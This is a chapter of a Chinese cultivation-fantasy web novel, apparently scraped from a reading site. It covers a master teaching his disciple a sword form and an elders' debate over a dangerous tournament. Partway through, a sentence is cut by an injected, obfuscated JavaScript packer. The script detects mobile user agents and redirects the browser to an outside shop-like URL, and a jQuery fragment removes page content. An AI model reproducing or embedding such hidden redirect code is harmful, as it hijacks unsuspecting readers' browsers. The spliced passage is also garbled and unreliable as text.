剑身冷得很,让宁归砚手颤了一下,恍神时便被迫握住剑柄,手腕被带着往外一抬,腕心的温热也很快被寒冷覆盖,但比以往的都要温和些,只是浅浅的试探罢了。 季宿白低头,附耳:“咒语记住了?” 宁归砚耳边痒痒的,他忍住了不适感,点点头。 季宿白又再问:“方才记得几层?” 宁归砚回想了一下:“啧,只记得师尊格外好看,倒是没记得怎么起手。” 季宿白握住他手腕的手用了用力:“那我慢慢教。” 周围忽然又撒下了白絮,明明已经是过了春天,这白絮却源源不断,落在温热处,又消失不见。 堂外的一人带着一人耍着剑,剑尾时而擦过不远处的假时,时而围旋在两人身边,不像是用的什么剑术,轻轻柔柔的,倒像是在学什么偏柔的剑舞。 宁归砚手的几乎不被自己掌控了,他看着季宿白带着他耍这和秘籍上完全不符的剑术,眉头皱着,再对还要再来一遍时,黑了脸将季宿白的手抓着。 “你确定你是在教我?季宿白,我怎么没瞧出你这么会戏弄人呢?” 被点出了目的,季宿白也不遮遮掩掩了,回力将宁归砚手心一挑,长剑落地,人也被他拽过去。 两人的距离靠得很近,上次是宁归砚刻意调戏,上上次是挑衅,这次宁归砚可没使什么坏。 见人眼中难得出现慌乱的神色,季宿白嘴唇一挑。 “我只说我教你,教什么,难道不是我说了算?可不能混淆黑白啊,小宁。” 宁归砚满脑子的旖旎被那一声‘小宁’给驱散了,他偏开头,弯下腰将沄潋捡起。 “随你,学会了,我走了。” 说完迈开步子。 季宿白也没拦着他,只远远唤一声:“屋内还有新茶,若是留下来,也成。” 宁归砚闻言,回头,狠狠瞪他一眼,发觉对方看不见,见光不盛,干脆扯下遮掩的物什,将那姿态又呈现了一遍,随后将大门重重关上。 季宿白抬头一撇,愣了愣,手中的杯盏被冷意侵袭,被他用灵气保存着热意的茶瞬时间就冷了。 手一捏,杯盏也碎了彻底。 翌日宁归砚起得很早,或者说他又失眠了,一晚上就想着之后的剧情,直到天光涌现这才有了睡意,可此刻又是早课的时间。 简单洗漱一番后,他照常去了小竹林,但也只见到林言言和景弗两人,倒是装作惊讶。 “师尊可是没来?” 林言言放下手中的剑,走过去扬起笑脸:“师尊今日要去长老堂商量事宜,对了!” 她想起身上,从储物袋内拿出一瓶药。 “这是我娘托我带给师兄的,她说昨日的生辰礼她很是喜欢,若是有空了,叫师兄多去坐坐!” 说完看向景弗:“师兄去的时候可要带上我!到时候我把景弗一块带上,可热闹了!” 宁归砚无奈看着她。 傻丫头,这是要给你备一个新郎呢,还傻笑。 但这话也不能直接说出口,说不定会有什么意料之外的改变,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13951762|147825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且宁归砚也没什么兴趣掺和其他人的事情,他保证自己就好了。 “自然,替我说声谢!” 他不客气接过了那瓶药,瓶身是上好的瓷瓶,打开里面浓郁的药香十分熟悉。 林言言适时解释:“我娘听药堂的师兄说正在用这药,药方里的东西他们想办法弄了点来,这才托人炼制了一瓶,听说药性比以往的都要好,我想要一颗我娘都不愿意给我呢。” 她嗔怪着,宁归砚笑了笑,侧身越过她。 “好了好了,下次下山历练,你要什么,师兄都给你弄来。” 林言言这才高兴了,蹦蹦跳跳拉着景弗去练剑。 午时三刻,宁归砚被唤去了长老堂,来传话的是历青,说是去商讨大师,实则只是想拉个凑数的人,一个两个的都行。 宁归砚到时,长老堂的几位长老都聚齐了,许多生的面孔,他见都不曾见过,许是因为这件‘大事’才聚在一起。 能让长老堂焦虑的,无非就是各个门派之间的斗争,还有那三年一次的精英大赛。 宁归砚进了门,端正了身姿,瞥过最上面的人一眼,低头抱拳一一行礼。 “各位长老,师尊,唤弟子来,可是有事情吩咐?” 林奇轻咳一声,目光瞟过对面神色不善的林自潜。 林自潜黑着脸低头撇过去,手指敲击着扶手,几度想要开口又叹了一口气忍下来。 季宿白坐在中央上座,椅着扶手垂目,颔首示意林身旁的大长老付清说话。 付清前些日子下山去处理了一些繁杂的事情,近日才回来,神色上还略有些疲惫,看着宁归砚皱了皱眉头,启唇问道:“小宁,今日唤你来,是想问问,可愿去精英大赛?” 宁归砚还没开口,林自潜便在一边忍不住了,掌心在扶手上猛地一拍声调气震山河。 “我不同意!那精英大赛什么样你们不知道?不论生死!便是死在台上了也没有办法追究,人群杂乱,说不定还混杂了魔族的人,还有那些野路子的宗门,他们可不管对手的死活,小宁要是去了,没伤还好,这要是伤了,这是要他的命!” 林奇溢满笑容的脸顿时挎了下来,他冷哼了一声。 “师兄,你怕不是杞人忧天了,况且路上有我随行,有何担忧的,就是到了卸城,在那擂台上,若是有人想要伤我宗弟子一分一毫,可问过我同意不同意?你是不放心我还是觉得小宁没有那个实力?我宗大弟子,怎有怯战之意!” 宁归砚在下面听着,嘴角压得狠才没露出陷来。 他可没有那么厉害,这要是上擂台了... ...可能真得躺上数月,不过嘛... ... “好了!” 付清打断两人的争吵,他沉声瞥了林自潜一眼。 “老二,既然已经说好不会掺和,也答应你派出长老堂一人随行,你便少些担心,若是状况不对,不参与就是,别再争论了,这次我跟随前行。” 付清一发话,就没人敢反驳了,何况他还加了筹码。 虽然话是这样说,但他还是放松了语调叫宁归砚回应。 “小宁,你可要去?” 宁归砚掀起眼,颔首握拳。 “振兴宗门之事,我辈当义不容辞。” 话落,坐在上方迟迟没有掺和的男人敲击扶手的停下,他抬眸,沉黑的眸子里映入了宁归砚平淡的神情。 像一张撕不烂的纸。